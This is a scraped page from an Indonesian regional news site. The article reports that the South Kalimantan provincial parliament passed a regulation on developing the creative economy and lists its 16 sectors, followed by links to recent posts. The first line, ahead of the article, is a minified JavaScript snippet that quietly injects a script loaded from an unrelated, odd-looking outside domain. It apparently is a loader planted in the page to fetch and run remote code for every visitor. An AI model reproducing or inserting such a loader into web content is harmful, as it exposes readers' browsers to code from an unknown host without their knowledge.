(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kalimantan Selatan

DPRD Kalsel Sahkan Perda Pengembangan Ekraf, Ini 16 Bidang yang Diatur


KANALKALIMANTAN.COM, BANJARMASIN – Dewan Perwakilan Rakyat Daerah (DPRD) Kalimantan Selatan (Kalsel) mengesahkan Rancangan Peraturan Daerah (Raperda) tentang pengembangan ekonomi kreatif, Rabu (26/7/2023).

Anggota Panitia Khusus (Pansus) DPRD Kalsel Dewi Damayanti Said saat rapat paripurna pengesahan menuturkan, Perda ini lahir atas kesadaran DPRD Kalsel untuk meningkatkan jumlah pelaku ekonomi kreatif yang ada di Kalsel. Penting dalam membuat payung hukum untuk meregulasi dan melindungi hak-hak para pekerja kreatif di Banua.

“Jadi hadirnya pemerintah memiliki arti penting dalam pengembangan ekonomi kreatif melalui pembentukan Perda sebagai payung hukum untuk memberikan kepastian hukum penyelenggaraan pengembangan ekonomi kreatif di daerah,” imbuh Dewi.

Dewi Damayanti Said menyebutkan bahwa ekonomi kreatif yang dimaksud mencakup 16 bidang usaha, yaitu aplikasi dan game developer, arsitektur, desain interior, desain komunikasi visual, desain produk, fashion, film, animasi dan video, fotografi, kriya, kuliner, musik, penerbitan, periklanan, seni pertunjukan, seni rupa dan televisi dan radio.

Baca juga: KPK Duga Kepala Basarnas HA Terima Suap Rp88,3 Miliar

“Sehingga ekonomi kreatif nantinya memiliki kedudukan yang strategis dalam menopang ketahanan ekonomi masyarakat, mewujudkan pertumbuhan ekonomi, mengembangkan inovasi, kreatifitas dan daya saing serta penciptaan lapangan kerja guna memajukan pembangunan perekonomian daerah di Provinsi Kalsel,” kata Dewi.

Sementara itu, Gubernur Kalsel H Sahbirin Noor melalui Sekretaris Daerah Kalsel Roy Rizali Anwar menyambut baik disahkannya Perda tentang pengembangan ekonomi kreatif ini. Gubernur Kalsel, dalam sambutan tertulisnya turut meyakini bahwa ekonomi kreatif memiliki peranan penting dan kedudukan yang strategis.

Selain menjadi penopang ketahanan ekonomi masyarakat, sektor ini juga berfungsi sebagai penggerak pertumbuhan ekonomi, pengembangan inovasi, kreativitas, daya saing, serta penciptaan lapangan kerja di daerah.

Baca juga: Belum Genap 17 Tahun, Remaja di Banjarmasin Kedapatan Simpan Sabu 22,46 Gram

“Seperti yang kita ketahui, pandemi covid-19 berdampak besar terhadap industri ekonomi kreatif di provinsi ini. Namun, dengan berakhirnya status pandemi dan pengesahan peraturan daerah ini, kita memiliki momentum kebangkitan untuk menumbuhkan dan mengembangkan kemampuan ekonomi kreatif berbasis potensi daerah menjadi tangguh, mandiri, dan berdaya saing sebagai pilar pengembangan ekonomi kerakyatan,” ujar kata Paman dalam sambutannya.

Adanya Perda ini menjadi landasan hukum yang bersama-sama diakui oleh para pemangku kepentingan, pelaku industri, akademisi, dan masyarakat luas untuk bersatu padu dalam menjalankan langkah-langkah konkret demi menggerakkan roda ekonomi di Provinsi Kalsel. (Kanalkalimantan.com/bie)

Reporter: bie
Editor: kk


Risa

Recent Posts

Empat Pemohon Gugatan Pilwali Banjarbaru di MK

KANALKALIMANTAN.COM, JAKARTA - Empat buah gugatan dibacakan langsung dalam sidang sengketa hasil Pemilihan Wali Kota… Read More

39 menit ago

Sidang Gugatan Pilwali Banjarbaru: KPU RI Ambil Alih, Pemilihan Diulang Lawan Kotak Kosong

KANALKALIMANTAN.COM, JAKARTA - Sidang gugatan sengketa hasil Pemilihan Wali Kota dan Wakil Wali Kota (Pilwali)… Read More

12 jam ago

Angkutan Pelajar Gratis Tak Lagi Layani Sekolah di Banjarbaru, Ini Penyebabnya

KANALKALIMANTAN.COM, BANJARBARU  – Operasional Angkutan Pelajar Gratis (APG) Banjarbaru dikabarkan belum melayani para pelajar ke… Read More

14 jam ago

Tak Ada Gugatan di MK, Yamin-Ananda Sah Wali Kota dan Wakil Wali Kota Banjarmasin 2025-2030

KANALKALIMANTAN.COM, BANJARMASIN - Komisi Pemilihan Umum (KPU) Kota Banjarmasin menetapkan Yamin - Ananda sebagai Wali… Read More

15 jam ago

Malam Ini, Fara Ambyar Siap Berbagi Kisah di ‘Lingkar Takdir’

KANALKALIMANTAN.COM - Program 'Lingkar Takdir' merupakan salah satu acara yang memecahkan berbagai masalah kehidupan dari… Read More

16 jam ago

Sahrujani-Hero Setiawan Ditetapkan sebagai Bupati dan Wabup HSU 2025-2030

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) resmi menetapkan H… Read More

16 jam ago

This website uses cookies.